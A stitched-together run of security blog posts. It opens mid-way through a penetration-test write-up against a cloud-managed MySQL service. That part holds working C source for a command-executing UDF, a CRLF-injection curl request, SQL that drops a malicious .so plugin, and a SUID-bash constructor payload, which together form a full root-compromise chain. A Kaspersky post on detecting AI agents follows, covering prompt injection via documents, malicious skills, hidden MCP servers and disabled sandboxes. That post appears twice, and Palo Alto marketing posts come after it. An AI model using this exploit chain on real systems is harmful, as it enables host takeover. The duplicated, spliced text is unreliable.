 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Palo Alto Networks announces that Unit 42® Continuous Frontier AI Defense and Prisma AIRS are now on the newly launched OpenAI Marketplace, making them directly available to OpenAI’s enterprise customers. Threat actors are deploying artificial intelligence to find and exploit vulnerabilities at unprecedented speed, compressing breach cycles by almost 97%—from weeks down to mere hours. Human-speed defense can no longer keep pace with adversaries executing automated, continuous attacks.

AI Investments: The OpenAI Marketplace Advantage

For enterprise organizations holding OpenAI spend commitments, this milestone offers a compelling 2-for-1 financial and strategic advantage. Security teams can now deploy machine-speed, proactive defense while retiring their pre-committed OpenAI spend.

Palo Alto Networks offers two flagship solutions available for procurement through the OpenAI Marketplace.

• Unit 42® Continuous Frontier AI Defense: An always-on, expert-led agentic offensive security service that uses defender-grade models to discover, validate, and accelerate the remediation of exposures across applications and network assets before weaponization.
• Prisma® AIRS: A comprehensive AI security platform designed to provide complete discovery, risk assessment, runtime protection, identity and data governance, and observability for AI applications, agents, models, and artifacts across enterprise cloud platforms, SaaS environments, and endpoints.

Machine-Speed Defense with Unit 42 Continuous Frontier AI Defense

Unit 42 Continuous Frontier AI Defense is an expert-led, agentic offensive security service engineered to identify, validate, and remediate enterprise exposures as an organization’s environment changes.

This always-on, agentic service combines our offensive security experts with our proprietary multi-model harness, which uses defender-grade frontier models to discover vulnerabilities, validate real-world exploitability, and accelerate remediation across applications, identities, cloud infrastructure, and network assets as an organization’s environment changes. At the core of this capability is our proprietary multi-model software harness that dynamically routes security tasks to the optimal AI model, maximizing efficacy and coverage while managing the cost of frontier AI at scale.

The harness integrates defender-grade models, including OpenAI’s GPT-5.6-Cyber, and other commercial models alongside open-weight models and Unit 42 threat intelligence. By executing non-destructive adversary simulations across first- and third-party environments, the system proves actual exploitability and delivers prioritized remediation guidance including actionable fixes, code-level changes, and virtual patches. Organizations can pair this with Frontier Virtual Patching to block exploits long before official patches exist or CVEs are publicly disclosed.

The real-world impact of this proactive methodology was validated over six months of in-house testing and across more than 75 customer engagements backed by a $17 million R&D investment. During internal deployment within Palo Alto Networks, the service uncovered over two years’ worth of exposures in just three weeks. In customer assessments, the underlying analysis identified exposures in 100% of assessed organizations, with 37% rated high or critical severity. Crucially, over two-thirds of exposures found in third-party applications had no known CVE, proving the urgent necessity of continuous, AI-driven discovery.

Unit 42 Continuous Frontier AI Defense is available worldwide today on an annual subscription basis. Register for our upcoming Virtual Threat Briefing to see how we apply Frontier AI, our proprietary multi-model harness, and offensive security expertise to protect Palo Alto Networks and our customers.

To learn more about Unit 42 Continuous Frontier AI Defense, register for the upcoming Virtual Threat Briefing here.

Scale Enterprise AI Adoption Safely with Prisma AIRS

As OpenAI customers rapidly scale their use of powerful AI models, AI coding assistants, and autonomous agents, the enterprise attack surface is expanding faster than traditional security teams can manage. The transition to autonomous AI breaks traditional security boundaries, creating shadow AI blind spots, supply chain risks in open-source base models, unsafe actions from malicious inputs, and uncontrolled AI agents executing tasks with excessive permissions.

Prisma AIRS: Secure Every AI Ambition

Prisma AIRS is the Palo Alto Networks unified AI security platform, enabling enterprises to accelerate AI adoption while maintaining control over sensitive data, agent identities, autonomous actions and AI costs. Recognized by Gartner as a Market Shaper in the September 2026 Emerging Market Quadrant for AI Application Security – Established Vendors, Palo Alto Networks brings together discovery, continuous risk assessment, real-time protection and centralized governance to secure AI applications and agents across enterprise environments.

• Gain Visibility Across Enterprise AI: Discover and inventory AI applications, coding assistants, autonomous agents and associated assets across endpoints, cloud and enterprise environments. Identify shadow AI and gain visibility into the AI systems operating across the organization.
• Identify Risks Before They Become Threats: Continuously assess AI security posture, scan models and agent artifacts—including skills and MCP servers—for vulnerabilities and supply chain risks, and proactively red team AI applications and agents to uncover exploitable weaknesses before deployment.
• Secure AI Interactions, Data and Agent Identities: Enforce real-time protection against prompt injection, malicious interactions and sensitive data exposure. Verify agent identities, enforce least-privilege access and prevent unauthorized actions as agents interact with enterprise systems and data.
• Centralize AI Policy, Access and Spend: Use AI Gateway to govern connections to LLMs, MCP servers, APIs and enterprise services. Centralize policy enforcement, control model and provider access, monitor consumption and manage AI usage and costs across teams and applications.

Together, these capabilities help OpenAI enterprise customers secure AI-powered workflows, maintain accountability for autonomous actions and scale AI adoption with consistent security and governance.

Book a demo to see our AI Security solution in action.

The post Palo Alto Networks Brings Continuous AI Defense and Prisma AIRS to the OpenAI Marketplace appeared first on Palo Alto Networks Blog.

Two critical vulnerabilities in PHP (CVE-2026-109618 and CVE-2026-109619) have been published. Both vulnerabilities carry a severe CVSS score of 9.2 (more technical details are in the Unit 42 Threat Brief). 

This is not just another high-severity vulnerability disclosure, it marks the opening chapter in a massive acceleration of cyberthreats that will define the foreseeable future. Because PHP is widely used globally (by some estimates, more than half of all websites), the sheer scale of this is massive. Navigating this new reality demands immediate imperatives, including continuous, proactive vulnerability discovery before adversaries weaponize code, and a modern defense strategy that pairs traditional patching with real-time virtual patching. At a footprint of 22 million exposed instances, relying on manual remediation cycles alone is not a viable defense.

For context, exposures are typically in the thousands, for example around 50,000 potentially vulnerable exposed instances for recent NetScaler vulnerabilities, and about 16,000 exposed instances of BeyondTrust, potentially vulnerable to CVE-2026-1731. Pervasive open-source software introduces an exposure footprint on an entirely different order of magnitude. 

This situation illustrates what I shared in Defender’s Guide to the Frontier AI Impact on Cybersecurity. We’re officially in a new reality, and this is going to be an ongoing cycle.

An Accelerating Cycle

The latest frontier AI models are extraordinarily capable at finding vulnerabilities in code. We’ll see these models continue to surface critical issues at a pace faster than ever before.

But here’s the challenge: As soon as patches for vulnerabilities are available, attackers will reverse engineer the patch, locate the root flaw, and target them in near real time. It simply takes too long to apply patches to every system. This vulnerability deluge demands urgency and new technologies, such as virtual patching, are needed.

What Organizations Should Do Now

(1) Assess Your Open Source Inventory

Given the unprecedented speed at which new, critical vulnerabilities are being found with frontier AI, organizations need the ability to understand their true exposure at a moment’s notice. Attack surface management solutions have never been more critical for finding these blind spots across your entire codebase and supply chain. You can’t protect what you can’t see.

Additionally, services like Unit 42 Continuous Frontier AI Defense put defender-grade AI models in the hands of defenders to find and fix vulnerabilities before attackers can weaponize them.

(2) Prioritize Remediation Based on Reachability

You have to reduce what is reachable by attackers. You can't instantly patch everything everywhere, so prioritize what needs to be fixed first based on attack-path reachability. Secure what must be accessible to the public internet, and evaluate your environments to understand which of those exposed PHP instances carry the most immediate risk. For example, Cortex Xpanse and exposure management are great tools for determining reachability and automating remediation.

(3) Secure your AI deployments

While not the main focus for these PHP vulnerabilities, rapid deployment of AI across organizations is expanding the attack surface. All AI deployments must be secure AI deployments.

(4) Mitigate and Ensure Attack Protections

While you coordinate patching with your development teams, ensure best-in-class protections are in place to block the actual exploits. Mitigate against potential attacks immediately through proactive virtual patching and reducing overall exposure. Deploying high-fidelity virtual patches across your network and cloud security provides the mitigation layer necessary to give your teams the time they need to update the actual software safely.

Our new Frontier Virtual Patching capability delivered preemptive coverage for these PHP vulnerabilities ahead of today’s public disclosure. Additionally, Palo Alto Networks customers are protected from exploitation of these vulnerabilities by Advanced Threat Prevention available on our next-generation firewalls and Prisma Access.

(5) Deploy Real-Time Security Operations

Autonomous AI-driven attacks will drive attack lifecycles to minutes requiring every SOC to achieve single-digit mean time to detect (MTTD) and mean time to respond (MTTR).

The Path Forward: Institutionalize Defenses

This isn’t a one-and-done situation. With frontier AI compressing the patch-to-exploit window to minutes, assessing exposure, prioritizing reachability, mitigating and ensuring attack protections must become a continuous, automated motion.

This is a pivotal moment. While the scale of the challenge presented by frontier AI is real, I’m confident in our ability to solve it. Take the steps to secure your organization today, and build the foundation needed to ensure the advantage remains with the defender.

The post Millions of PHP Instances Exposed - What Organizations Need To Do Right Now appeared first on Palo Alto Networks Blog.

Introduction

